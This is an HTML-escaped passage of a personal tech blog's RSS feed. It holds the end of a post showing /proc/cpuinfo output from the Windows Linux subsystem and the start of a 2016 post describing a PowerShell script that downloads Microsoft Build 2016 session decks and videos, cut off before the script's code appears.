&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clflush size    : &lt;span style=&#34;color:#f5a97f&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache_alignment : &lt;span style=&#34;color:#f5a97f&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address sizes   : &lt;span style=&#34;color:#f5a97f&#34;&gt;36&lt;/span&gt; bits physical, &lt;span style=&#34;color:#f5a97f&#34;&gt;48&lt;/span&gt; bits virtual
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;power management:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;processor       : &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vendor_id       : GenuineIntel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu family      : &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model           : &lt;span style=&#34;color:#f5a97f&#34;&gt;78&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model name      : Intel&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; Core&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;TM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; i7-6600U CPU @ 2.60GHz
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stepping        : &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;microcode       : 0xffffffff
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu MHz         : 2808.000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache size      : &lt;span style=&#34;color:#f5a97f&#34;&gt;256&lt;/span&gt; KB
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;physical id     : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;siblings        : &lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;core id         : &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu cores       : &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apicid          : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;initial apicid  : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fpu             : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fpu_exception   : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpuid level     : &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wp              : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm pni pclmulqdq est tm2 ssse3 fma cx16 xtpr sse4_1 sse4_2 movbe popcnt aes xsave osxsave avx f16c rdrand hypervisor
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bogomips        : 5616.00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clflush size    : &lt;span style=&#34;color:#f5a97f&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache_alignment : &lt;span style=&#34;color:#f5a97f&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address sizes   : &lt;span style=&#34;color:#f5a97f&#34;&gt;36&lt;/span&gt; bits physical, &lt;span style=&#34;color:#f5a97f&#34;&gt;48&lt;/span&gt; bits virtual
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;power management:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@localhost:/proc#&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;All, in all a very interesting world. A few things to note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is still in beta, so there will be issues.&lt;/li&gt;
&lt;li&gt;It is user mode and not server mode. Live with it.&lt;/li&gt;
&lt;li&gt;There would be path issues if you stray into the 256 character limit of Windows and then try and manipulate it in bash.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Download Build (2016) decks and videos</title>
      <link>/post/2016/04/download-build-2016-decks-and-videos/</link>
      <pubDate>Wed, 13 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/download-build-2016-decks-and-videos/</guid>
      <description>&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - Was a typo in the script, which I fixed. If someone had an issue, copy it again and give it a go.&lt;/p&gt;
&lt;p&gt;I prefer to download and see the decks and videos &amp;lsquo;offline&amp;rsquo; instead of streaming, as I can easily pause them and then pick off where I left - especially handy when I need to go to a meeting, or take care of some work, or just on a crappy network.&lt;/p&gt;
&lt;p&gt;To that end, I downloaded all the sessions and the videos from Build (2016); I think one of the sessions might have gotten corrupted, but ignoring that I have about 140GB of data downloaded and 219 Sessions.&lt;/p&gt;
&lt;p&gt;To do this, I used a Power Shell script that helped me download. The script (below) is simple enough - it loops through and for each session does the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Creates the relevant folder - this includes the Session code, Title, and the Presenters.&lt;/li&gt;
&lt;li&gt;For each session, extracts the abstract / description of that session and saves it in a text file in that folder.&lt;/li&gt;
&lt;li&gt;Downloads the presentation for that session.&lt;/li&gt;
&lt;li&gt;Downloads a jpg which shows the image session - sometimes it is easier just to see the title slide. I thought better to have it and not use it, than the other way.&lt;/li&gt;
&lt;li&gt;And finally downloads the high-quality video of that session. In the script, you can choose a lower quality video if you prefer that. And if you want only the decks, then you can comment out parts of the script where it doesn&amp;rsquo;t download the video.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is an example on what the output for one of the sessions (P517 - Debugging Events in Edge) looks like:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Build-2016-download-example.jpg&#34; alt=&#34;Build-2016-download-example&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;A few points to note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the script, the root folder it tries to create and use is &lt;code&gt;&amp;quot;d:\build&amp;quot;&lt;/code&gt;; you might want to change this to something else you prefer or what works for you. I would recommend to not making the root too long as you would get into long file name issues.&lt;/li&gt;
&lt;li&gt;The script first loops through and downloads everything else except the videos first. And then 2nd time goes and grabs the videos.&lt;/li&gt;
&lt;li&gt;If there is an exception with the images, then it just &amp;rsquo;eats&amp;rsquo; it and moves on. It is not a breaking condition to stop the script.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt; 28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt; 29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt; 30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt; 31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt; 32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt; 33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt; 34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt; 35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt; 36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt; 37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt; 38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt; 39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt; 40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt; 41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt; 42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt; 43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt; 44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt; 45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt; 46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt; 47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt; 48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt; 49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt; 50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt; 51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt; 52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt; 53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt; 54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt; 55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt; 56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt; 57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt; 58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt; 59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt; 60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt; 61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt; 62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt; 63&lt;/a&gt;
